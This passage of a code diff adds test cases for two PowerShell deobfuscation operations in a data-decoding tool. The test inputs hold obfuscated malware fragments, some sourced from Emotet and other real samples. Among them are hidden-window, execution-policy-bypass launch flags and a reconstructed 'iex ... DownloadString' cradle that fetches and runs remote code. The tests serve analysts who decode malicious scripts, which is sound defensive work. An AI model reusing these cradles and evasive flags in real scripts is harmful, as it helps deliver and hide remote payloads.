+TestRegister.addTests([
+    {
+        "name": "PowerShell Decode EncodedCommand: raw Base64 only",
+        "input": "SQBFAFgA",
+        "expectedOutput": "IEX",
+        "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+    },
+    {
+        "name": "PowerShell Decode EncodedCommand: -enc prefix",
+        "input": "-enc SQBFAFgA",
+        "expectedOutput": "IEX",
+        "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+    },
+    {
+        "name": "PowerShell Decode EncodedCommand: -EncodedCommand prefix",
+        "input": "-EncodedCommand SQBFAFgA",
+        "expectedOutput": "IEX",
+        "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+    },
+    {
+        "name": "PowerShell Decode EncodedCommand: full powershell invocation with flags",
+        "input": "powershell.exe -w 1 -nop -ep bypass -enc SQBFAFgA",
+        "expectedOutput": "IEX",
+        "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+    },
+    {
+        "name": "PowerShell Decode EncodedCommand: pwsh with hidden window",
+        "input": "pwsh -WindowStyle hidden -NonInteractive -enc SQBFAFgA",
+        "expectedOutput": "IEX",
+        "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+    },
+    {
+        "name": "PowerShell Decode EncodedCommand: Get-Process command",
+        "input": "RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==",
+        "expectedOutput": "Get-Process",
+        "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+    },
+    {
+        "name": "PowerShell Decode EncodedCommand: Invoke-Expression command",
+        "input": "-enc SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuAA==",
+        "expectedOutput": "Invoke-Expression",
+        "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+    },
+    {
+        "name": "PowerShell Decode EncodedCommand: multi-word command",
+        "input": "powershell -enc TgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQA",
+        "expectedOutput": "New-Object Net.WebClient",
+        "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+    },
+    {
+        "name": "PowerShell Decode EncodedCommand: -e abbreviation",
+        "input": "-e SQBFAFgA",
+        "expectedOutput": "IEX",
+        "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+    },
+    {
+        "name": "PowerShell Decode EncodedCommand: mixed-case flag",
+        "input": "-Enc SQBFAFgA",
+        "expectedOutput": "IEX",
+        "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+    },
+    {
+        "name": "PowerShell Decode EncodedCommand: whoami recon command",
+        "input": "dwBoAG8AYQBtAGkA",
+        "expectedOutput": "whoami",
+        "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+    },
+    {
+        "name": "PowerShell Decode EncodedCommand: Set-ExecutionPolicy Bypass preamble",
+        "input": "UwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBTAGMAbwBwAGUAIABQAHIAbwBjAGUAcwBzACAALQBGAG8AcgBjAGUA",
+        "expectedOutput": "Set-ExecutionPolicy Bypass -Scope Process -Force",
+        "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+    },
+    {
+        "name": "PowerShell Decode EncodedCommand: full cmdline with -nop -w hidden flags",
+        "input": "powershell.exe -nop -w hidden -noni -enc RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==",
+        "expectedOutput": "Get-Process",
+        "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+    },
+    {
+        "name": "PowerShell Decode EncodedCommand: -ec abbreviated flag",
+        "input": "-ec JABlAG4AdgA6AEMATwBNAFAAVQBUAEUAUgBOAEEATQBFAA==",
+        "expectedOutput": "$env:COMPUTERNAME",
+        "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+    },
+    {
+        "name": "PowerShell Decode EncodedCommand: token with surrounding double-quotes stripped",
+        "input": "-enc \"RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==\"",
+        "expectedOutput": "Get-Process",
+        "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+    }
+]);

tests/operations/tests/PowerShellFormatStringDeobfuscate.mjs

@@ -0,0 +1,222 @@
+/**
+ * PowerShell Format String Deobfuscate tests
+ *
+ * @author vigneshrajan94
+ * @copyright Crown Copyright 2026
+ * @license Apache-2.0
+ */
+import TestRegister from "../../lib/TestRegister.mjs";
+
+TestRegister.addTests([
+    {
+        "name": "PowerShell Format String Deobfuscate: canonical reordered example",
+        "input": "(\"{0}{3}{4}{1}{2}\" -f \"S\",\"Mo\",\"de\",\"et-Stri\",\"ct\")",
+        "expectedOutput": "Set-StrictMode",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: identity ordering (no scrambling)",
+        "input": "(\"{0}{1}{2}\" -f \"New\",\"-\",\"Object\")",
+        "expectedOutput": "New-Object",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: single argument",
+        "input": "(\"{0}\" -f \"hello\")",
+        "expectedOutput": "hello",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: two expressions on the same line",
+        "input": "(\"{0}{1}\" -f \"Invoke\",\"-Expression\") + (\"{1}{0}\" -f \"Shell\",\"Power\")",
+        "expectedOutput": "Invoke-Expression + PowerShell",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: embedded in a larger script",
+        "input": "$x = (\"{1}{0}\" -f \"Object\",\"New-\"); $x.GetType()",
+        "expectedOutput": "$x = New-Object; $x.GetType()",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: single-quoted template",
+        "input": "('{0}{1}' -f \"foo\",\"bar\")",
+        "expectedOutput": "foobar",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: single-quoted arguments",
+        "input": "(\"{0}{1}\" -f 'foo','bar')",
+        "expectedOutput": "foobar",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: all single quotes",
+        "input": "('{1}{0}' -f 'World','Hello')",
+        "expectedOutput": "HelloWorld",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: extra whitespace around -f and args",
+        "input": "( \"{0}{1}\"  -f  \"abc\" ,  \"def\" )",
+        "expectedOutput": "abcdef",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: spaces inside argument values",
+        "input": "(\"{0} {1}\" -f \"Hello\",\"World\")",
+        "expectedOutput": "Hello World",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: comma inside a quoted argument value",
+        "input": "(\"{0}{1}\" -f \"hello, world\",\"!\")",
+        "expectedOutput": "hello, world!",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: literal text between placeholders",
+        "input": "(\"{0} ran {1}\" -f \"PowerShell\",\"successfully\")",
+        "expectedOutput": "PowerShell ran successfully",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: repeated index",
+        "input": "(\"{0}{0}{0}\" -f \"abc\")",
+        "expectedOutput": "abcabcabc",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: out-of-range index left unchanged",
+        "input": "(\"{0}{5}\" -f \"a\",\"b\",\"c\")",
+        "expectedOutput": "a{5}",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: no format strings — input passes through unchanged",
+        "input": "$x = \"hello\"\nWrite-Host $x",
+        "expectedOutput": "$x = \"hello\"\nWrite-Host $x",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: empty input",
+        "input": "",
+        "expectedOutput": "",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: multiline input with expressions on different lines",
+        "input": "(\"{1}{0}\" -f \"Object\",\"New-\")\n(\"{0}{1}\" -f \"Invoke\",\"-Expression\")\n$plain = \"untouched\"",
+        "expectedOutput": "New-Object\nInvoke-Expression\n$plain = \"untouched\"",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: special characters in arguments (dollar, dot, backslash)",
+        "input": "(\"{0}{1}{2}\" -f \"C:\\\\Windows\",\"\\\\\",\"System32\")",
+        "expectedOutput": "C:\\\\Windows\\\\System32",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: five-arg scramble (malware-like)",
+        "input": "(\"{3}{1}{4}{0}{2}\" -f \"ial\",\"Cred\",\"s\",\"Get-\",\"ent\")",
+        "expectedOutput": "Get-Credentials",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: mixed with non-matching parenthetical expressions",
+        "input": "if ($x -gt 5) { (\"{1}{0}\" -f \"host\",\"Write-\") }",
+        "expectedOutput": "if ($x -gt 5) { Write-host }",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: large index values",
+        "input": "(\"{2}{0}{1}\" -f \"b\",\"c\",\"a\")",
+        "expectedOutput": "abc",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: single character fragments",
+        "input": "(\"{2}{0}{1}\" -f \"e\",\"t\",\"s\")",
+        "expectedOutput": "set",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: ten-fragment highly scrambled string",
+        "input": "(\"{5}{3}{0}{7}{1}{6}{2}{9}{4}{8}\" -f \"l\",\"o\",\"o\",\"e\",\"l\",\"h\",\"w\",\"l\",\"d\",\"r\")",
+        "expectedOutput": "helloworld",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: IEX obfuscation pattern",
+        "input": "$cmd = (\"{1}{0}{2}\" -f \"x\",\"IE\",\"\")\n& $cmd (\"{0}{1}\" -f \"Get-\",\"Process\")",
+        "expectedOutput": "$cmd = IEx\n& $cmd Get-Process",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+
+    // ── OSINT samples from real-world malware ─────────────────────────────────
+    // Source: Emotet dropper (Softscheck / gist softSCheck)
+    {
+        "name": "PowerShell Format String Deobfuscate: Emotet - new-object (single-quoted args, no space before -f)",
+        "input": "(\"{0}{2}{1}\" -f'new-ob','t','jec')",
+        "expectedOutput": "new-object",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: Emotet - WScript.Shell (zero spaces around -f)",
+        "input": "(\"{0}{1}{2}\"-f'WScrip','t.Shel','l')",
+        "expectedOutput": "WScript.Shell",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: Emotet - DownloadFile (four scrambled fragments)",
+        "input": "(\"{0}{3}{1}{2}\"-f'Down','F','ile','load')",
+        "expectedOutput": "DownloadFile",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: Emotet - Start-Process (four fragments)",
+        "input": "(\"{0}{2}{1}{3}\" -f 'St','s','art-Proce','s')",
+        "expectedOutput": "Start-Process",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: Emotet - write-host (four scrambled fragments)",
+        "input": "(\"{3}{2}{0}{1}\" -f'e-','host','rit','w')",
+        "expectedOutput": "write-host",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    {
+        "name": "PowerShell Format String Deobfuscate: Emotet - download cradle (two expressions on one line)",
+        "input": "$wc = (\"{2}{0}{1}\"-f 'ob','ject','new-'); $wc.(\"{0}{3}{1}{2}\"-f'Down','F','ile','load')($url, $path)",
+        "expectedOutput": "$wc = new-object; $wc.DownloadFile($url, $path)",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    // Source: Malicious Word doc (MalSecHunter, 2020)
+    {
+        "name": "PowerShell Format String Deobfuscate: MalSecHunter 2020 - New-Variable with mixed casing",
+        "input": "(\"{1}{3}{0}{2}\" -f 'VaRi','nE','aBlE','w-')",
+        "expectedOutput": "nEw-VaRiaBlE",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    // Source: r00t-3xp10it obfuscation guide (GitHub)
+    {
+        "name": "PowerShell Format String Deobfuscate: r00t-3xp10it - Invoke-Expression (five fragments)",
+        "input": "(\"{3}{0}{2}{1}{4}\" -f'voke','es','-Expr','In','sion')",
+        "expectedOutput": "Invoke-Expression",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    // Source: ANY.RUN sandbox report (Feb 2019 Excel macro dropper)
+    {
+        "name": "PowerShell Format String Deobfuscate: ANY.RUN 2019 - ENvIRoNmeNt ([Type] cast target)",
+        "input": "(\"{1}{0}{2}\" -f'vI','EN','RoNmeNt')",
+        "expectedOutput": "ENvIRoNmeNt",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    },
+    // Source: Generic IEX download cradle (common commodity malware pattern)
+    {
+        "name": "PowerShell Format String Deobfuscate: IEX download cradle (three reconstructed strings)",
+        "input": "(\"{1}{0}\" -f 'ex','i') ((\"{2}{0}{1}\" -f '-Ob','ject','New') Net.WebClient).(\"{0}{1}{2}{3}{4}\" -f 'Down','lo','ad','Str','ing')($url)",
+        "expectedOutput": "iex (New-Object Net.WebClient).DownloadString($url)",
+        "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+    }
+]);